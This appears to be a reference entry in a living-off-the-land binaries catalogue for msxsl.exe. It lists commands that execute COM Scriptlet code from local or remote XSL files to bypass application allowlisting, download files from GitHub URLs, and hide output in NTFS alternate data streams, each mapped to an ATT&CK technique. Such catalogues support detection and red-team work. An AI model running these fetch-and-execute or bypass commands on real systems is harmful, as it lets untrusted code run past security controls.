.. /msxsl.exe
Star

Execute
AWL bypass
Download
Alternate data streams

Command line utility used to perform XSL transformations.


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Run COM Scriptlet code within the script.xsl file (local).

    msxsl.exe customers.xml script.xsl
    Use case
    Local execution of script stored in XSL file.
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220

  2. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

    msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
    Use case
    Local execution of remote script stored in XSL script stored as an XML file.
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220

AWL bypass

  1. Run COM Scriptlet code within the script.xsl file (local).

    msxsl.exe customers.xml script.xsl
    Use case
    Local execution of script stored in XSL file.
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220

  2. Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

    msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
    Use case
    Local execution of remote script stored in XSL script stored as an XML file.
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1220

Download

  1. Using remote XML and XSL files, save the transformed XML file to disk.

    msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
    Use case
    Download a file from the internet and save it to disk.
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1105

Alternate data streams

  1. Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

    msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>:ads-name
    Use case
    Download a file from the internet and save it to an NTFS Alternate Data Stream.
    Privileges required
    User
    Operating systems
    Windows
    ATT&CK® technique
    T1564